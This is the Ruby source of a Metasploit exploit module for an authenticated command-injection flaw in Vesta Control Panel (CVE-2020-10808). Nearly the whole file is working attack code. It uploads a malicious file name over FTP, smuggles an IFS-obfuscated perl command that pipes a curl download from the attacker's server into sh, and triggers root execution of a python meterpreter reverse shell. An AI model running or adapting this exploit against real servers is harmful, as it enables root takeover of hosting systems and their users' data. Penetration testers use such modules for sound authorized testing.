## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Ftp include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer def initialize(info={}) super(update_info(info, 'Name' => "Vesta Control Panel Authenticated Remote Code Execution", 'Description' => %q{ This module exploits command injection vulnerability in v-list-user-backups bash script file. Low privileged authenticated users can execute arbitrary commands under the context of the root user. An authenticated attacker with a low privileges can inject a payload in the file name starts with dot. During the user backup process, this file name will be evaluated by the v-user-backup bash scripts. As result of that backup process, when an attacker try to list existing backups injected payload will be executed. }, 'License' => MSF_LICENSE, 'Author' => [ 'Mehmet Ince ' # author & msf module ], 'References' => [ ['URL', 'https://pentest.blog/vesta-control-panel-second-order-remote-code-execution-0day-step-by-step-analysis/'], ['CVE', '2020-10808'] ], 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 8083, 'WfsDelay' => 300, 'Payload' => 'python/meterpreter/reverse_tcp' }, 'Platform' => ['python'], 'Arch' => ARCH_PYTHON, 'Targets' => [[ 'Automatic', { }]], 'Privileged' => false, 'DisclosureDate' => "Mar 17 2020", 'DefaultTarget' => 0 )) register_options( [ Opt::RPORT(8083), OptString.new('USERNAME', [true, 'The username to login as']), OptString.new('PASSWORD', [true, 'The password to login with']), OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']) ] ) deregister_options('FTPUSER', 'FTPPASS') end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def login # # This is very simple login process. Nothing important. # We will be using cookie and csrf_token across the module so that we are global variable. # print_status('Retrieving cookie and csrf token values') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login', '/'), }) if res && res.code == 200 && !res.get_cookies.empty? @cookie = res.get_cookies @csrf_token = res.body.scan(//).flatten[0] || '' if @csrf_token.empty? fail_with(Failure::Unknown, 'There is no CSRF token at HTTP response.') end else fail_with(Failure::Unknown, 'Something went wrong.') end print_good('Cookie and CSRF token values successfully retrieved') print_status('Authenticating to HTTP Service with given credentials') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login', '/'), 'cookie' => @cookie, 'vars_post' => { 'token' => @csrf_token, 'user' => username, 'password' => password } }) if res && res.code == 302 && !res.get_cookies.empty? print_good('Successfully authenticated to the HTTP Service') @cookie = res.get_cookies else fail_with(Failure::Unknown, 'Credentials are not valid.') end end def is_scheduled_backup_running res = trigger_scheduled_backup # # MORE explaination. # if res && res.code == 302 res = trigger_payload if res.body.include?('An existing backup is already running. Please wait for that backup to finish.') return true else print_good('It seems scheduled backup is done ..! Triggerring payload <3') return false end else fail_with(Failure::Unknown, 'Something went wrong. Did you get your session ?') end return false end def trigger_payload res = send_request_cgi({ 'method' => 'GET', 'cookie' => @cookie, 'uri' => normalize_uri(target_uri.path, 'list', 'backup', '/'), }) if res && res.code == 200 res else fail_with(Failure::Unknown, 'Something went wrong. Maybe session timed out ?') end end def trigger_scheduled_backup res = send_request_cgi({ 'method' => 'GET', 'cookie' => @cookie, 'uri' => normalize_uri(target_uri.path, 'schedule', 'backup', '/'), }) if res && res.code == 302 && res.headers['Location'] =~ /\/list\/backup\// res else fail_with(Failure::Unknown, 'Something went wrong.') end end def payload_implant # # Our payload will be placed as a file name on FTP service. # Payload lenght can't be more then 255 and SPACE can't be used because of the # bug in the backend software. Due to these limitations, I used web delivery method. # # When the initial payload executed. It will execute very short perl command, which is going to fetch # actual python meterpreter first stager and execute it. # final_payload = "curl -sSL #{@second_stage_url} | sh".to_s.unpack("H*").first p = "perl${IFS}-e${IFS}'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'" # Yet another datastore variable overriding. if datastore['SSL'] ssl_restore = true datastore['SSL'] = false end port_restore = datastore['RPORT'] datastore['RPORT'] = 21 datastore['FTPUSER'] = username datastore['FTPPASS'] = password # # Connecting to the FTP service with same creds as web ui. # Implanting the very first stage of payload as a empty file. # if (not connect_login) fail_with(Failure::Unknown, 'Unable to authenticate to FTP service') end print_good('Successfully authenticated to the FTP service') res = send_cmd_data(['PUT', ".a';$(#{p});'"], "") if res.nil? fail_with(Failure::UnexpectedReply, "Failed to upload the payload to FTP server") end print_good('Successfully uploaded the payload as a file name') disconnect # Revert datastore variables. datastore['RPORT'] = port_restore datastore['SSL'] = true if ssl_restore end def exploit start_http_server payload_implant login trigger_scheduled_backup print_good('Scheduled backup has ben started. Exploitation may take up to 5 minutes.') while is_scheduled_backup_running == true print_status('It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...') Rex.sleep(30) end stop_service end def on_request_uri(cli, request) print_good('First stage is executed ! Sending 2nd stage of the payload') second_stage = "python -c \"#{payload.encoded}\"" send_response(cli, second_stage, {'Content-Type'=>'text/html'}) end def start_http_server # # HttpClient and HttpServer use same SSL variable :( # We don't need a SSL for payload delivery. # if datastore['SSL'] ssl_restore = true datastore['SSL'] = false end start_service({'Uri' => { 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri }}) print_status("Second payload download URI is #{get_uri}") # We need that global variable since get_uri keep using SSL from datastore # We have to get the URI before restoring the SSL. @second_stage_url = get_uri datastore['SSL'] = true if ssl_restore end end